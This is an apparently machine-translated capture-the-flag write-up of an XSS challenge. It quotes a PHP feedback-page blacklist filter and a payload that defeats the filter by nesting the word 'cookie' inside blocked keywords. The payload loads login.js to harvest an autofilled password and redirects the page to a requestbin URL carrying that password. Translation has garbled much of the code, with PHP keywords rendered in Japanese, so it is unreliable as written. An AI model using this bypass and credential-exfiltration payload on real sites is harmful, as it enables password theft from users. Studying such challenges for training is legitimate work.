この質問(だけ、この質問の後も必見)コンソール内の情報に注意を払う、login.js与えられたコードは、フォームに記入する現在のユーザーのユーザー名とパスワードが保存されます
アカウントを登録してから質問が注入されていないプロンプトにログイン
フィードバックページは、フィードバックメッセージ、リストを提出し、メッセージの内容を削除することができルックのウェブサイトの機能は、閲覧することができ、注釈付きページがfeedback.phpを見つけました
<! - もし(IS_ARRAY($フィードバック)){ エコー"の<script>警告( '反馈不合法'); </ SCRIPT>"; falseを返します。 } $ブラックリスト= [ '_'、 '\'」、 '&'、 '\\'、 '#'、 '%'、 '入力'、 'スクリプト'、 'IFRAME'、 'ホスト'、 'オンロード' 、 'ONERROR'、 'srcdoc'、 '場所'、 'SVG'、 'フォーム'、 'IMG'、 'SRC'、 'getElement'、 'ドキュメント'、 'クッキー']。 foreachの($ valのように$ブラックリスト){ ながら、(真){ 場合(stripos($フィードバック、$ valの)== falseを!){ $フィードバック= str_ireplace($ valを、 ""、$フィードバック)。 }他{ ブレーク。 } } } - >
監査コードが入力フィルタの内容を見ているかもしれませんが、唯一の周りを取得するのは非常に簡単に空を置き換えるために、例えば、incookieput、その後、交換用の入力後に残されますされています。機能レコードlogin.jsがパスワードを持っているので、我々はページ上のフィードバックフォームを構築することができますので、RequestBinがすることによって、その要求て送信を収集するURLを、提供(http://http.requestbin.buuoj.cnに、提出されましたホーム)requestbinを作成するために、クリックフラグ・ページを受け取ります
< incookieput タイプ= "テキスト" 名前= "ユーザ名" > < incookieput タイプ= "パスワード" 名前= "パスワード" > < scrcookieipt scookierc = "./ JS / login.js" > </ scrcookieipt > < scrcookieipt > VAR PSW = docucookiement.getcookieElementsByName( "パスワード")[0] .VALUE。 docucookiement.locacookietion = "http://http.requestbin.buuoj.cn/11uk8c71/?a=" + PSW。 </ scrcookieipt >
参考:
http://www.ch4ser.top/2019/04/22/XSS%E9%A2%98%E5%9E%8B%E8%AE%B0%E5%BD%95/
http://www.tan90deg.cn/index.php/00000/131.html